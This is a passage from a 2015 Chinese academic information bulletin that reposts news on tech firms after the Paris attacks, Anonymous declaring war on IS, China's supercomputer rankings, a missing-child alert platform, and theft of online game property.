到 消 息 推 送, 替 用 户 报 平 安 twitter 上 启 用 了 # 开 着 的 门 # 话 题, 由 于 周 五 晚 间 恐 怖 袭 击 发 生 后, 很 多 地 铁 线 路 停 止 运 营, 路 途 遥 远 的 巴 黎 市 民 面 临 无 家 可 归,twitter 发 起 愿 为 处 于 困 境 中 的 游 客 提 供 避 难 所 的 活 动 也 很 快 得 到 了 巴 黎 市 民 的 响 应, 很 多 人 在 这 个 话 题 下, 发 出 自 家 的 详 细 住 址 此 外,Google 提 供 免 费 播 向 法 国 的 网 络 电 话 服 务,Airbnb 向 在 正 在 法 国 居 住 和 旅 行 的 用 户 发 送 安 全 提 示 邮 件 不 过, 有 法 国 媒 体 指 出, 科 技 巨 头 做 的 大 多 是 表 面 的 公 关 秀, 说 些 安 慰 人 的 nice 话, 实 际 上 仍 不 忘 为 自 己 做 宣 传 其 中, 叫 车 平 台 uber 成 为 众 矢 之 的, 当 晚,Uber 在 袭 击 事 件 发 生 前 30 分 钟 内, 因 为 用 车 人 数 增 加, 车 费 暴 涨 数 倍 这 与 uber 在 此 前 悉 尼 发 生 咖 啡 馆 人 质 劫 持 事 件 时 的 拙 劣 表 现 几 乎 一 致, 当 时 uber 车 费 暴 涨 4 倍, 最 低 消 费 要 100 美 元 不 过 在 巴 黎 恐 怖 袭 击 事 件 过 后,uber 巴 黎 关 闭 了 峰 值 收 费, 但 此 刻 乘 客 却 发 现 周 边 无 车 可 用 反 倒 是 出 租 车 免 费 将 人 们 载 离 市 中 心 另 外, 被 攻 击 最 多 的 当 属 社 交 媒 体,IS 极 端 组 织 之 所 以 能 快 速 壮 大 并 且 在 欧 洲 招 募 到 成 员, 都 是 因 为 社 交 媒 体 的 力 量 此 前,IS 通 过 Facebook twitter instagram 和 whatsapp 等 社 交 APP 发 布 图 片 和 视 频 甚 至 招 募 成 员, 甚 至 会 通 过 诸 如 在 线 文 本 编 辑 平 台 justpaste 这 些 工 具 来 总 结 战 况, 通 过 在 线 音 频 分 享 平 台 soundcloud 公 布 音 频 报 告 ISIS 利 用 集 群 效 应 造 势 达 到 宣 传 目 的, 通 过 大 量 账 号 传 播 推 送, 早 期 在 facebook twitter 没 有 明 确 禁 止 isis 账 号 前, 他 们 甚 至 曾 通 过 大 量 转 发, 将 招 募 信 息 推 到 热 门 话 题 法 国 媒 体 认 为, 科 技 巨 头 在 预 防 与 预 警 或 者 揪 出 恐 怖 分 子 等 方 面 能 提 供 的 帮 助 少 之 又 少 社 交 媒 体 成 为 日 常 生 活 中 必 不 可 少 的 工 具, 无 论 是 聊 天 记 录 个 人 档 案, 还 是 发 帖, 都

16 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 会 留 下 蛛 丝 马 迹 监 控 这 些 信 息 到 底 是 情 报 部 门 的 责 任 还 是 科 技 巨 头 责 任? 与 之 对 应 的 是, 国 际 黑 客 组 织 匿 名 者 宣 布 对 IS 极 端 组 织 宣 战, 誓 言 不 会 放 过 你 们, 这 家 黑 客 组 织 的 发 言 人 表 示, 他 们 会 利 用 一 切 手 段 将 恐 怖 分 子 揪 出 来, 同 时 将 对 is 发 动 的 作 战 行 动, 一 定 要 搞 垮 IS 的 网 络 组 织 IS 极 端 组 织 在 宣 传 上 善 用 社 交 媒 体, 同 时 懂 得 利 用 短 片 去 吸 引 年 轻 人, 同 时 他 们 也 有 自 己 的 黑 客 团 队, 还 曾 经 对 twitter 上 的 美 军 中 央 司 令 部 等 数 十 个 官 方 账 号 发 起 攻 击 联 合 包 括 黑 客 在 内 的 各 方 力 量, 是 否 会 让 这 场 反 恐 斗 争 更 加 有 效? 相 关 链 接 : 国 际 黑 客 带 奇 特 面 具 对 IS 宣 战 : 发 起 最 大 网 络 战 :01:16 来 源 : 澎 湃 新 闻 当 地 时 间 16 日, 国 际 著 名 黑 客 组 织 匿 名 者 (Anonymous) 在 网 络 上 发 布 视 频, 向 伊 斯 兰 国 宣 战, 并 称 将 会 发 起 有 史 以 来 最 大 的 行 动 巴 黎 日 前 发 生 的 恐 怖 袭 击 时 间 已 经 造 成 了 100 余 人 死 亡, 法 国 政 府 誓 言 要 消 灭 敌 人, 并 称 不 会 停 止 在 叙 利 亚 的 空 袭 行 动 据 法 新 社 报 道, 法 国 议 会 消 息 人 士 称, 法 国 总 统 奥 朗 德 计 划 将 目 前 全 国 处 于 紧 急 状 况 的 时 间 延 长 至 三 个 月 而 法 国 总 理 瓦 尔 斯 还 表 示, 我 们 现 在 处 于 战 争 中, 法 国 将 使 用 不 同 寻 常 的 手 段 消 灭 敌 人, 我 们 将 会 赢 得 这 场 战 争 对 IS 发 起 史 上 最 大 的 网 络 战 争 据 英 国 镜 报 报 道, 国 际 著 名 黑 客 组 织 匿 名 者 (Anonymous)16 日 宣 布, 对 宣 称 为 巴 黎 恐 怖 袭 击 事 件 负 责 的 极 端 组 织 伊 斯 兰 国 (IS) 宣 战 匿 名 者 组 织 在 YouTube 上 发 布 了 一 段 视 频 视 频 中, 该 组 织 表 示 将 利 用 该 组 织 的 知 识 来 团 结 全 人 类, 并 宣 称 让 恐 怖 分 子 期 待 我 们 ( 的 行 动 ) 视 频 中, 匿 名 者 组 织 发 言 人 身 穿 黑 色 衣 服, 脸 上 戴 着 该 组 织 标 志 性 的 V 字 仇 杀 队 面 具 这 名 发 言 人 表 示, 来 自 世 界 各 地 的 匿 名 者 将 会 追 捕 你 们 你 们 应 该 知 道 我 们 会 找 到 你 们, 并 且 不 会 放 过 你 们 的 我 们 将 会 对 你 们 发 起 有 史 以 来 最 大 的 行 动 请 期 待 大 规 模 网 络 攻 击 战 争 开 始 了 请 做 好 准 备 匿 名 者 发 言 人 说, 法 国 人 民 比 你 们 更 强 大, 从 暴 行 中 走 出 来 的 法 国 人 会 更 强 大 据 镜 报 报 道, 这 并 非 黑 客 组 织 首 次 向 IS 宣 战 该 黑 客 活 动 分 子 (hacktivists) 组 织 同 时 在 其 Twitter 上 发 表 推 文 称, 别 搞 错 : 匿 名 者 是 在 向 达 伊 沙 (Daesh, 伊 斯 兰 国 的 别 称 ) 宣 战 我 们 不 会 停 止 反 对 IS 我 们 黑 客 功 力 更 胜 一 筹 当 地 时 间 13 日 晚 间, 巴 黎 发 生 数 起 恐 怖 袭 击 事 件 巴 黎 当 地 一 家 医 院 里, 治 疗 因 恐 怖 袭 击 而 受 伤 的 患 者 的 医 生 菲 利 普 儒 凡 (Philippe Juvin) 表 示, 他 在 医 院 里 看 到 的 情 况 比 在 战 区 见 过 的 情 况 更 严 重 目 睹 一 切 的 伤 者 一 直 沉 默 不 语 菲 利 普 儒 凡 是 欧 洲 乔 治 蓬 皮 杜 医 院 (Georges Pompidou European Hospital) 的 主 任 医 师 他 表 示, 恐 怖 袭 击 发 生 之 后, 约 有 50 名 伤 者 被 送 往 医 院 救 治 菲 利 普 儒 凡 对 记 者 说 道, 伤 者 的 手 臂 腿 部 和 胸 部 被 子 弹 射 中 你 无 法 想 象 他 们 的 心 理 受 到 怎 样 的 创 伤 虽 然 很 难 解 释, 但 是 许 多 病 人 因 伤 被 送 到 医 院 后 一 直 保 持 沉 默 了 他 们 目 睹 和 经 历 的 一 切 让 他 们 处 在 惊 吓 状 态 没 有 人 能 说 些 什 么 他 们 所 受 创 伤 太 大 这 和 电 影 中 看 到 的 所 有 人 都 在 哭 不 一 样 现 实 情 况 完 全 不 同 救 护 车 将 伤 者 送 到 医 院,

17 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 没 有 人 开 口 说 话 据 镜 报 报 道, 医 院 许 多 其 他 的 病 人 在 完 成 治 疗 并 被 批 准 出 院 后, 被 告 知 需 要 再 次 前 往 医 院 以 寻 求 心 理 帮 助 该 医 院 也 为 员 工 提 供 同 样 的 帮 助 显 然, 医 护 团 队 非 常 疲 惫, 其 中 一 些 人 同 样 需 要 心 理 帮 助, 我 们 需 要 帮 助 他 们 度 过 这 一 切 菲 利 普 儒 凡 表 示, 我 们 也 需 要 等 待 数 日, 来 确 定 伤 者 是 否 会 留 下 终 身 伤 痛 更 多 内 容 见 相 关 链 接 : 新 闻 分 析 : 中 国 超 算 能 力 缘 何 迅 猛 增 长 :39:00 来 源 : 新 华 网 新 华 社 华 盛 顿 11 月 16 日 电 ( 记 者 林 小 春 ) 新 一 期 全 球 超 级 计 算 机 500 强 榜 单 16 日 在 美 国 公 布, 中 国 大 陆 超 级 计 算 机 的 上 榜 数 量 迅 速 增 长, 从 上 一 期 的 37 台 增 至 109 台, 比 欧 洲 的 超 算 总 数 还 要 多, 而 美 国 超 算 的 入 围 数 量 则 降 至 历 史 最 低 水 平 那 么, 中 国 超 算 能 力 缘 何 增 长 得 如 此 之 快? 美 国 在 这 个 领 域 开 始 衰 落 了 吗? 全 世 界 的 超 算 格 局 近 期 是 否 会 发 生 改 变? 对 于 中 国 超 算 的 迅 速 增 长, 该 排 行 榜 的 主 要 编 撰 人 美 国 田 纳 西 大 学 计 算 机 学 教 授 杰 克 唐 加 拉 对 新 华 社 记 者 说, 这 主 要 是 中 科 曙 光 联 想 和 浪 潮 这 3 家 中 国 公 司 共 同 发 力 的 结 果, 其 中 高 性 能 计 算 机 生 产 商 中 科 曙 光 提 供 了 中 方 大 部 分 超 算 系 统 据 发 布 榜 单 的 国 际 TOP500 组 织 提 供 的 数 据, 中 科 曙 光 的 超 算 系 统 入 围 49 台, 已 超 过 传 统 巨 头 IBM 公 司, 仅 次 于 惠 普 和 克 雷 公 司 联 想 去 年 收 购 IBM 公 司 的 X86 服 务 器 业 务, 加 入 高 性 能 计 算 机 生 产 商 行 列 在 此 次 上 榜 的 超 级 计 算 机 中, 联 想 的 超 算 系 统 有 25 台, 一 些 原 本 属 于 IBM 的 超 算 系 统 现 虽 改 标 为 IBM/ 联 想 (9 台 ) 或 联 想 /IBM(5 台 ), 但 并 不 包 括 在 联 想 上 榜 的 25 台 超 算 之 内 浪 潮 也 有 15 台 超 算 上 榜 TOP500 组 织 的 一 份 声 明 写 道 : 随 着 多 家 中 国 生 产 商 在 高 性 能 计 算 机 领 域 日 益 活 跃, 中 国 企 业 作 为 生 产 商 正 在 占 据 这 一 领 域 的 更 大 份 额 美 国 加 利 福 尼 亚 大 学 河 边 分 校 的 超 级 计 算 实 验 室 负 责 人 陈 子 忠 认 为, 这 一 进 步 是 中 国 计 算 机 专 家 长 期 努 力 的 结 果, 也 是 中 国 近 年 来 经 济 高 速 发 展 的 体 现 这 表 明, 中 国 与 美 国 在 综 合 国 力 上 的 差 距 越 来 越 小 关 于 迅 速 增 多 的 中 国 超 级 计 算 机 能 否 得 到 有 效 利 用 的 问 题, 唐 加 拉 的 看 法 是, 超 级 计 算 机 是 一 种 复 杂 工 具, 需 要 对 人 员 进 行 高 级 培 训 才 能 有 效 利 用, 这 一 过 程 需 要 时 间 陈 子 忠 指 出, 中 国 在 超 算 领 域 没 有 过 热 的 问 题 目 前, 中 国 在 超 算 的 硬 件 方 面 与 国 外 的 差 距 正 越 来 越 小, 但 在 超 算 的 软 件 研 制 应 用 开 发 和 人 才 培 养 方 面 还 有 待 进 一 步 提 高 如 果 超 算 软 件 人 才 不 足, 就 有 可 能 导 致 部 分 超 算 硬 件 的 利 用 效 益 不 高 今 年 年 初, 美 国 政 府 曾 把 与 超 级 计 算 机 相 关 的 4 家 中 国 机 构 列 入 限 制 出 口 名 单 在 这 种 情 况 下, 为 何 中 国 上 榜 全 球 超 算 500 强 名 单 的 数 量 不 降 反 升? 陈 子 忠 解 释 说, 上 述 禁 令 并 未 禁 止 中 国 整 个 行 业 使 用 美 国 企 业 制 造 的 芯 片 芯 片 制 造 商 英 特 尔 公 司 的 一 名 发 言 人 对 新 华 社 记 者 说, 其 实 并 没 有 什 么 超 算 专 用 芯 片, 天 河 二 号 使 用 了 英 特 尔 的 至 强 (Xeon) 处 理 器 和 XeonPhi 协 处 理 器, 这 是 非 常 普 通 的 产 品, 全 世 界 的 电 脑 商 店 都 可 以 买 到 专 家 们 还 认 为, 虽 然 此 次 美 国 超 算 的 上 榜 数 量 降 至 历 史 最 低, 但 美 国 在 超 算 领 域 的 世 界 领 先 地 位 依 然 稳 固 今 年 7 月, 美 国 启 动 国 家 战 略 计 算 计 划, 目 标 是 到 2025 年 建 造 世 界 上 运 算 最 快 的 计 算 机, 其 运 算 速 度 将 达 到 每 秒 100 亿 亿 次, 相 当 于 天 河 二 号 运 算 速 度 的 30 倍 此 前, 美 国 还 宣 布 在 2017 年 前 后 建 造 数 台 运 算 速 度 是 天 河 二 号 3 到 5 倍 的 超 级 计 算 机

18 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 唐 加 拉 认 为, 美 国 国 家 战 略 计 算 计 划 揭 示 了 高 性 能 计 算 的 未 来 发 展, 表 明 高 性 能 计 算 很 重 要, 应 该 严 肃 对 待 陈 子 忠 表 示, 某 个 国 家 如 果 没 有 与 超 算 研 发 相 对 应 的 计 划, 那 么 该 国 与 超 算 领 域 领 先 国 家 的 差 距 可 能 会 拉 大 虽 然 美 国 在 TOP500 榜 单 上 的 超 算 系 统 数 目 不 会 大 幅 增 加, 但 美 国 在 超 算 领 域 的 综 合 实 力 会 更 加 强 大, 其 领 先 地 位 仍 会 比 较 牢 固 他 建 议, 为 保 持 在 超 算 领 域 的 竞 争 力, 中 国 需 要 研 发 自 己 的 高 性 能 芯 片, 开 发 自 己 的 超 算 系 统 软 件 和 应 用 软 件, 并 加 强 超 算 人 才 的 培 养 责 任 编 辑 : 于 士 航 相 关 链 接 : 互 联 网 防 拐 是 赞 还 是 踩 年 11 月 23 日 06:28:00 来 源 : 人 民 日 报 技 术 带 来 好 处 的 同 时 往 往 伴 随 风 险, 只 有 规 范 二 字, 才 能 使 新 技 术 走 上 正 轨, 走 好 求 新 与 求 稳 的 平 衡 木 连 日 来, 儿 童 失 踪 预 警 平 台 上 线 的 消 息 在 朋 友 圈 转 疯 了 : 给 孩 子 建 档 后, 一 旦 孩 子 走 失, 家 长 就 可 以 在 微 信 上 一 键 扩 散 信 息, 发 动 周 围 的 用 户 一 起 搜 寻 这 在 人 父 人 母 听 来, 自 然 是 极 好 的 前 后 脚 的 工 夫, 另 一 篇 文 章 也 火 了 起 来, 内 容 却 是 在 呼 吁 爸 妈 们 暂 时 不 使 用 该 平 台, 首 先 要 弄 清 : 运 营 该 平 台 的 基 金 一 方 是 否 权 威? 家 长 提 交 的 隐 私 信 息 能 否 得 到 保 护? 一 方 面 有 人 力 挺, 一 方 面 有 人 拍 砖, 这 事 儿 到 底 该 咋 看? 首 先, 互 联 网 + 找 孩 子, 思 路 是 没 错 的, 平 台 也 是 可 以 有 的 从 打 拐 题 材 电 影 亲 爱 的 热 映, 到 人 贩 子 应 否 一 律 判 死 刑 在 网 上 掀 起 讨 论, 都 说 明, 拐 卖 儿 童 问 题 早 已 成 为 社 会 痛 点, 亟 待 有 效 的 治 理 办 法 以 往 孩 子 走 丢 了, 家 长 就 只 有 疾 呼 广 播 报 警 这 几 招, 效 果 也 未 必 理 想 错 过 了 黄 金 时 间 而 仍 未 找 到 孩 子 的 话, 难 免 就 得 天 南 海 北 地 跑 街 头 巷 尾 地 找, 日 复 一 日 地 贴 广 告 发 帖 子 有 了 互 联 网 + 大 数 据 概 念 下 的 儿 童 失 踪 预 警 平 台, 家 长 便 不 再 孤 立 无 援, 而 是 可 以 在 第 一 时 间 调 动 身 边 的 人, 认 识 的 不 认 识 的, 提 供 给 他 们 影 音 信 息, 从 而 大 大 提 高 搜 寻 的 效 率 与 寻 获 的 几 率 这 种 基 于 无 数 双 鹰 眼 的 天 网, 理 论 上 说, 能 震 慑 不 法 分 子, 防 拐 于 未 然 设 想 虽 是 好 的, 但 好 经 会 不 会 被 念 歪 呢? 这 样 的 质 疑, 也 可 以 有 毕 竟, 相 较 国 外 业 已 成 熟 的 此 类 平 台, 我 们 的 平 台 才 刚 刚 启 动, 相 关 质 疑 不 能 说 没 有 道 理 被 质 疑 资 质 不 够 格 隐 私 难 保 证, 说 明 还 有 增 强 信 任 的 空 间 运 营 者 有 必 要 进 一 步 说 明 与 承 诺, 完 善 管 理 并 接 受 监 督 主 管 信 息 安 全 的 部 门 也 要 加 强 关 注, 未 雨 绸 缪, 让 公 众 吃 下 定 心 丸 登 高 而 招, 臂 非 加 长 也, 而 见 者 远 站 到 新 技 术 的 巨 人 之 肩 上, 将 更 有 助 于 解 决 顽 固 的 老 问 题 但 也 应 看 到, 技 术 带 来 好 处 的 同 时 往 往 伴 随 风 险, 当 发 展 遇 上 风 险, 因 噎 废 食 不 足 取, 米 里 掺 沙 亦 要 不 得 只 有 规 范 二 字, 才 能 使 新 技 术 走 上 正 轨, 解 决 求 新 与 求 稳 的 两 难 困 境 值 得 欣 慰 的 是, 质 疑 方 与 被 质 疑 方 已 在 进 行 沟 通, 公 众 也 可 一 览 双 方 观 点, 自 行 评 判 或 跟 帖 发 声 互 联 网 + 找 孩 子, 最 终 能 否 成 为 有 益 的 实 践, 我 们 正 在 观 察 着 期 待 着 相 关 链 接 :

19 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 网 络 游 戏 虚 拟 财 产 被 盗 : 报 警 取 证 难 :24:43 来 源 : 凤 凰 网 据 文 化 部 不 久 前 发 布 的 2014 中 国 网 络 游 戏 市 场 年 度 报 告 显 示,2014 年 中 国 网 络 游 戏 市 场 整 体 销 售 收 入 为 亿 元, 同 比 增 长 29.1%, 网 络 游 戏 用 户 数 量 约 为 3.8 亿 人, 比 2013 年 增 长 了 4.6% 游 戏 道 具 网 络 账 号 点 卡 对 于 很 多 网 民 来 说, 虚 拟 财 产 其 实 并 不 虚, 反 而 越 来 越 靠 近 真 金 白 银 但 记 者 调 查 发 现, 如 今 多 数 游 戏 玩 家 账 号 被 盗 后, 损 失 却 无 从 弥 补, 就 是 因 为 虚 拟 财 产 取 证 困 难 网 友 遭 遇 : 号 被 盗 了, 不 了 了 之 今 天 运 气 超 好, 打 出 了 一 件 极 品 装 备! 市 民 健 健 兴 高 采 烈 地 在 电 话 里 对 朋 友 说 能 卖 多 少 钱? 可 以 请 我 吃 饭 了!, 吃 饭 没 问 题, 比 我 这 个 防 御 指 数 低 的 还 能 卖 2000 元 人 民 币 呐, 现 在 游 戏 区 里 有 人 给 我 2500 元 人 民 币, 我 都 没 搭 理 他, 我 先 用 着 爽 爽, 等 过 两 天 再 出 手 健 健 和 朋 友 聊 得 很 开 心 没 想 到, 前 两 天 健 健 沮 丧 地 说 : 我 的 游 戏 账 号 被 盗 了, 这 个 号 我 已 经 玩 了 三 年 多 了, 经 验 值 和 游 戏 号, 还 有 装 备 加 起 来 能 卖 多 元 呢, 这 下 完 了, 全 没 有 了! 那 能 找 回 来 吗? 找 啥 啊! 我 身 边 的 朋 友 也 有 丢 号 的, 他 们 有 的 报 案 了, 可 是 派 出 所 因 为 这 些 都 是 网 络 上 的 虚 拟 财 产, 无 法 计 算 而 立 案 难 ; 有 的 找 律 师 了, 律 师 说 我 国 目 前 还 没 有 专 门 的 法 律 保 护 虚 拟 财 产 我 只 能 是 和 网 游 公 司 协 商, 但 迟 迟 无 果 真 倒 霉, 我 的 游 戏 账 号 让 人 给 盗 了, 装 备 全 没 了 网 友 小 刘 与 健 健 的 遭 遇 一 样, 几 天 前, 小 刘 登 陆 自 己 的 游 戏 账 号, 发 现 账 号 里 的 游 戏 装 备 和 道 具 都 没 有 了, 很 明 显 是 被 盗 号 了 我 说 怎 么 登 陆 后, 就 裸 奔 了, 装 备 都 被 扒 光 了! 小 刘 说, 我 发 现 后 立 即 联 系 了 网 络 运 营 商, 可 是 这 都 一 周 过 去 了, 也 没 有 回 信 小 刘 告 诉 记 者, 他 的 账 号 里 面 的 道 具 和 游 戏 币 加 起 来 折 合 成 人 民 币 有 5000 多 元, 被 盗 了 真 是 郁 闷 恶 性 插 件, 导 致 交 易 金 额 不 对 网 友 小 张 告 诉 记 者, 除 了 暗 地 里 盗 号 之 外, 还 有 很 多 网 络 黑 客 通 过 购 买 装 备 和 道 具 的 方 式 来 盗 取 小 张 说, 他 在 网 游 中 打 出 一 件 很 热 门 的 装 备 当 时, 在 游 戏 里 很 多 人 都 抢 着 要, 价 格 越 喊 越 高, 这 时, 突 然 有 一 个 玩 家 给 我 发 来 一 条 私 信, 称 要 以 高 价 钱 购 买 我 的 装 备, 我 就 同 意 了 据 小 张 回 忆, 当 时 他 们 到 了 游 戏 中 约 定 的 交 易 地 点, 打 开 交 易 的 对 话 框, 他 把 装 备 放 到 对 话 框 后, 那 个 玩 家 也 按 约 定 交 了 钱, 结 果 交 易 完 成 后 竟 然 发 现 金 额 并 不 对 可 是, 他 再 怎 么 呼 叫 那 个 玩 家 都 联 系 不 上 了, 这 才 发 现 被 骗 了 做 网 游 的 同 学 告 诉 我, 这 是 一 个 恶 性 的 游 戏 插 件, 是 在 短 时 间 内 就 能 修 改 游 戏 中 的 交 易 系 统 小 张 说, 我 觉 得 不 服 气, 就 报 警 了, 可 是 派 出 所 的 民 警 听 了 之 后 很 难 处 理, 民 警 说 这 种 事 情 搜 集 证 据 实 在 太 困 难 到 了 最 后, 还 是 不 了 了 之 报 警 因 取 证 难, 无 法 受 理 网 友 享 受 寂 寞 是 一 家 超 市 的 收 银 员, 平 时 非 常 喜 欢 玩 网 络 游 戏 今 年 5 月 份, 他 开 始 迷 上 了 当 时 的 一 款 热 门 游 戏, 并 花 了 500 元 充 值 和 购 买 装 备 没 玩 多 久, 他 的 账 号 就 被 盗 了, 装 备 和 虚 拟 货 币 全 没 了 随 后, 享 受 寂 寞 又 充 值 700 元 开 始 玩, 而 且 把 登 陆 密 码 设 置 得 非 常 复 杂, 但 是 还 是 没 有 逃 过 去 一 天 晚 上 他 玩 得 正 起 兴 时, 电 脑 突 然 黑 屏 当 时 我 就 觉 得 不 对 劲, 重 启 后 再 登 陆, 发 现 虚 拟 货 币 和 装 备 都 没 了 享 受 寂 寞 说, 账 号 被 盗 后, 他 也 向 客 服 投 诉 过, 但 都 没 下 文 玩 这 个 都 知 道, 除 非 你 是 VIP 玩 家, 一 般 的 谁 管 你 啊? 有 的 玩 家 被 盗 后 也 报

20 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 过 警, 但 因 为 没 有 证 据, 警 方 也 束 手 无 策 记 者 调 查 发 现, 网 络 游 戏 中 的 玩 家, 很 多 网 友 经 历 过 账 号 被 盗, 损 失 虚 拟 财 产 的 情 况, 但 最 终 的 结 果 都 是 不 了 了 之, 很 少 有 人 损 失 的 虚 拟 财 产 得 到 了 赔 偿 或 是 受 到 了 保 护 虚 拟 财 产 存 在 取 证 困 难 据 记 者 了 解, 目 前, 我 国 在 关 于 虚 拟 财 产 的 法 律 保 护 方 面, 还 是 真 空 状 态 2009 年 6 月, 国 家 文 化 部 和 商 务 部 联 合 出 台 的 虚 拟 货 币 管 理 工 作 的 通 知 ( 以 下 简 称 通 知 ), 通 知 中 首 次 明 确 了 网 络 游 戏 虚 拟 货 币 的 适 用 范 围 不 过, 此 通 知 只 是 单 纯 地 对 虚 拟 货 币 进 行 了 规 定, 在 一 定 程 度 上 维 护 了 社 会 秩 序, 但 是 对 虚 拟 财 产 的 保 护 作 用, 却 是 略 显 不 足 网 络 虚 拟 财 产 被 盗 后, 就 真 的 得 不 到 赔 偿 吗? 记 者 在 网 络 搜 索 发 现, 最 近 网 上 一 篇 离 婚 后 我 们 的 网 店 咋 办 的 帖 子 挺 火, 帖 子 的 内 容 说 的 是 实 名 虚 拟 网 店 到 底 归 谁 的 问 题 原 来 淘 宝 店 铺 不 能 继 承 和 转 让, 店 主 不 再 经 营 的 网 店 就 只 能 关 闭 淘 宝 对 这 个 问 题 的 解 决 就 很 好, 最 近 刚 刚 出 了 网 店 过 户 新 规, 这 让 店 主 猝 死 经 营 者 离 婚 等 情 况 下 网 店 的 保 护 和 继 承 问 题 在 一 定 程 度 上 有 所 缓 解 律 师 : 对 网 络 虚 拟 财 产 应 建 立 追 踪 机 制 本 溪 市 晓 云 律 师 事 务 所 王 律 师 认 为, 根 据 物 权 法 规 定, 虚 拟 财 产 是 一 种 无 形 资 产 也 属 于 私 人 财 产, 是 玩 家 投 入 了 金 钱 和 时 间 获 取 的, 理 应 受 到 法 律 保 护 而 虚 拟 财 产 被 侵 害 的 事 件 时 有 发 生, 表 明 这 一 领 域 的 法 律 法 规 还 不 完 善 近 年 来, 虚 拟 财 产 纠 纷 数 量 呈 上 升 趋 势, 有 玩 家 私 下 交 易 造 成 的 纠 纷, 有 虚 拟 财 产 被 盗 导 致 的 玩 家 与 玩 家 之 间 玩 家 与 厂 商 之 间 的 纠 纷, 但 大 多 因 没 有 报 案 或 不 够 立 案 标 准, 基 本 都 得 不 到 处 理 在 目 前 网 络 虚 拟 财 产 没 有 明 确 的 保 护 法 规 之 前, 要 想 用 法 律 维 护 自 己 利 益, 就 必 须 提 供 充 足 的 证 据, 证 明 自 己 损 失 情 况 很 多 人 上 网 玩 游 戏, 一 般 不 会 心 细 到 注 意 收 集 充 值 卡 或 消 费 截 图 等 一 些 所 谓 证 据 而 在 现 阶 段, 玩 家 在 取 证 上 确 实 存 在 一 些 困 难, 因 为 在 目 前 的 条 件 下, 很 多 游 戏 很 难 去 判 别 这 个 物 品 是 不 是 你 自 己 直 接 取 得 的, 所 谓 的 价 值 也 只 是 一 些 数 字, 你 很 难 将 数 字 与 现 实 中 的 金 钱 联 系 起 来 目 前, 我 国 对 网 络 游 戏 还 没 有 具 体 法 律 规 范, 王 律 师 希 望 相 关 部 门 重 视 尽 快 出 台 一 项 适 合 运 营 商 和 玩 家 的 游 戏 规 则, 以 解 决 日 益 增 多 的 此 类 纠 纷 除 了 要 在 法 律 法 规 里 明 确 有 关 条 文, 在 技 术 上 也 应 该 更 加 完 善 比 如 对 网 络 财 物 应 建 立 追 踪 机 制, 也 就 是 完 善 网 上 的 追 踪 系 统, 这 样 出 了 问 题 后 可 以 找 到 责 任 承 担 人, 或 者 成 立 一 个 第 三 方 机 构, 保 存 玩 家 的 数 据 港 台 及 韩 国 已 有 相 关 规 定 目 前, 韩 国 以 及 我 国 的 香 港 和 台 湾 地 区, 均 对 虚 拟 财 产 的 保 护 出 台 了 相 关 规 定 韩 国 明 确 规 定 网 络 游 戏 中 的 虚 拟 角 色 和 虚 拟 物 品 独 立 于 服 务 商 而 具 有 财 产 价 值 服 务 商 只 是 为 玩 家 的 这 些 私 有 财 产 提 供 一 个 存 放 的 场 所, 而 无 权 对 其 作 肆 意 的 修 改 或 删 除, 网 络 财 物 的 性 质 与 银 行 账 号 中 的 钱 财 并 无 本 质 的 区 别 我 国 台 湾 地 区 刑 法 第 二 百 二 十 条 第 三 项 中 规 定 : 电 磁 记 录, 指 以 电 子 磁 性 或 其 他 无 法 以 人 之 知 觉 直 接 认 识 之 方 式 所 制 成 之 记 录, 而 供 电 脑 处 理 之 用 者 根 据 我 国 台 湾 地 区 刑 法 规 定, 电 磁 记 录 属 于 以 文 书 论 的 范 畴, 具 有 某 种 物 的 属 性 因 此, 网 络 游 戏 中 的 虚 拟 宝 物 电 子 信 箱 号 码 等 等 都 是 电 磁 记 录 在 我 国 香 港 特 别 行 政 区, 网 络 游 戏 很 普 遍, 近 年 来 由 于 网 上 游 戏 的 武 器 价 格 高 涨, 网 上 武 器 失 窃 案 层 出 不 穷 对 于 这 种 在 虚 拟 世 界 的 新 型 犯 罪, 香 港 警 方 已 经 成 立 专 门 的 法 务 部 门 处 理 若 以 偷 窃 手 法 取 得 游 戏 武 器, 无 论 金 额 多 少, 均 属 违 法, 一 经 定 罪, 最 高 可 被 判 入 狱 五 年 至 十 年 相 关 链 接 :

21 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 研 制 智 能 产 品 应 先 考 虑 网 络 安 全 年 11 月 24 日 06:37 中 国 青 年 报 一 位 专 业 人 士 给 卡 巴 斯 基 一 位 员 工 的 手 上 注 入 只 有 一 粒 米 大 小 的 芯 片, 在 有 条 件 的 场 景 下, 这 枚 芯 片 可 以 代 替 银 行 卡 会 员 卡 等, 并 可 以 通 过 手 机 中 设 置 App 读 取 身 体 信 息 11 月 19 日, 在 人 的 身 体 内 注 入 芯 片 这 种 以 前 在 电 影 里 才 见 到 的 技 术, 在 马 来 西 亚 举 办 的 卡 巴 斯 基 亚 太 地 区 网 络 安 全 首 脑 会 议 上, 有 了 现 场 版 虽 然 这 只 是 一 项 未 推 广 的 技 术, 但 卡 巴 斯 基 首 席 安 全 师 Vitaty Kamluk 告 诫 : 如 今 智 能 汽 车 智 能 电 视 智 能 手 表 越 来 越 多, 但 大 家 对 网 络 安 全 的 重 视 很 不 理 想 在 中 国, 一 大 波 互 联 网 家 电 以 及 各 种 创 业 公 司 纷 纷 扎 进 智 能 硬 件 领 域, 大 量 硬 件 项 目 成 为 众 筹 网 站 座 上 客, 并 得 到 了 资 本 市 场 的 青 睐 据 不 完 全 统 计,2014 年 智 能 硬 件 投 资 案 例 达 120 多 起, 其 中 70 多 家 初 创 型 企 业 获 得 了 约 6.5 亿 美 元 的 投 资 与 此 同 时, 网 络 攻 击 的 数 量 成 几 何 式 增 长 卡 巴 斯 基 的 一 项 调 查 显 示 :2004 年 时 有 50 万 恶 意 软 件, 到 了 2014 年 有 2.6 亿 恶 意 软 件 一 半 的 卡 巴 斯 基 用 户 的 计 算 机 在 2014 年 至 少 遭 遇 过 一 次 恶 意 软 件 的 攻 击, 其 中 有 一 半 是 受 到 了 网 络 安 全 软 件 的 保 护, 另 一 半 